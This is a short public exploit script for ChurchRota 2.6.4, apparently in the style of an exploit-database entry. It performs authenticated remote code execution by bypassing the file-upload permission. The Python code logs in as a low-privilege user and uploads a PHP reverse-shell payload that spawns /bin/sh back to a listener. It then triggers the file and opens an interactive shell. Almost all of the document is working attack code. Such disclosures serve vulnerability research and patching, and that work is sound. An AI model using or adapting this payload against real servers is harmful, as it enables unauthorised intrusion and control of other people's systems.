# Exploit Title: ChurchRota 2.6.4 - RCE (Authenticated)# Date: 1/19/2021# Exploit Author: Rob McCarthy (@slixperi)# Vendor Homepage: https://github.com/Little-Ben/ChurchRota# Software Link: https://github.com/Little-Ben/ChurchRota# Version: 2.6.4# Tested on: Ubuntu
import requests
from pwn import listen
############################################################################################################# Description## Church Rota version 2.6.4 is vulnerable to authenticated remote code execution.## The user does not need to have file upload permission in order to upload and execute an arbitrary file.## The application is written primarily with PHP so we use PHP in our PoC ############################################################################################################## credentials of the low privilege user
USERNAME='slixperi'
PASSWORD='slixperi'
LISTENER_IP = '127.0.0.1'
LISTENER_PORT = '4444'
TARGET_IP = '127.0.0.1'
TARGET_PORT = '8081'# set the credentials for login POST
credentials = {"username":USERNAME,"password":PASSWORD}# create a session to preserve session state
sesh = requests.session()# login as our low-privilege user (normally only admins can upload files)
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php",data=credentials)# define the payload
payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>"# file upload
sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"})
files = {'resourcefile': ("shell.php", payload)}
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files)
l = listen(LISTENER_PORT)# execute the file
sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php")
l.interactive()
